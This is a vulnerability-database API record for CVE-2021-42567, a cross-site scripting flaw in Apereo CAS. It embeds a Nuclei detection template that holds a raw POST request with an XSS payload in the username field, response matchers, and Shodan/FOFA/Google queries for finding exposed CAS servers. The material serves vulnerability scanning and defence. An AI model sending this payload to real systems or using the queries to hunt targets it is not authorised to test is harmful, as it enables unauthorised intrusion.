{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-42567/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-42567/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-42567/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-42567/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-42567/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-42567"},"sightings":{"href":"/api/v1/sightings/cve-2021-42567"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-42567.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2021-42567\n\ninfo:\n  name: Apereo CAS Cross-Site Scripting\n  author: pdteam\n  severity: medium\n  description: Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, data theft, or defacement.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.\n  reference:\n    - https://apereo.github.io/2021/10/18/restvuln/\n    - https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html\n    - https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-42567\n    - https://github.com/apereo/cas/releases\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2021-42567\n    cwe-id: CWE-79\n    epss-score: 0.08064\n    epss-percentile: 0.94588\n    cpe: cpe:2.3:a:apereo:central_authentication_service:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apereo\n    product: central_authentication_service\n    shodan-query:\n      - http.title:'CAS - Central Authentication Service'\n      - http.title:'cas - central authentication service'\n    fofa-query: title='cas - central authentication service'\n    google-query: intitle:'cas - central authentication service'\n  tags: cve2021,cve,apereo,xss,cas,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cas/v1/tickets/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - '<img/src/onerror=alert(document.domain)>'\n          - 'java.util.HashMap'\n        condition: and\n\n      - type: status\n        status:\n          - 401\n# digest: 4a0a00473045022100e9c7c1371e447f0bd45796df7c6bc3de50e54b4feea992549a10585eb92ca41302203c10b317c967421ad9a221da2feecd1ee0f383f1da4586ede15f78545fe49d25:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-42567"}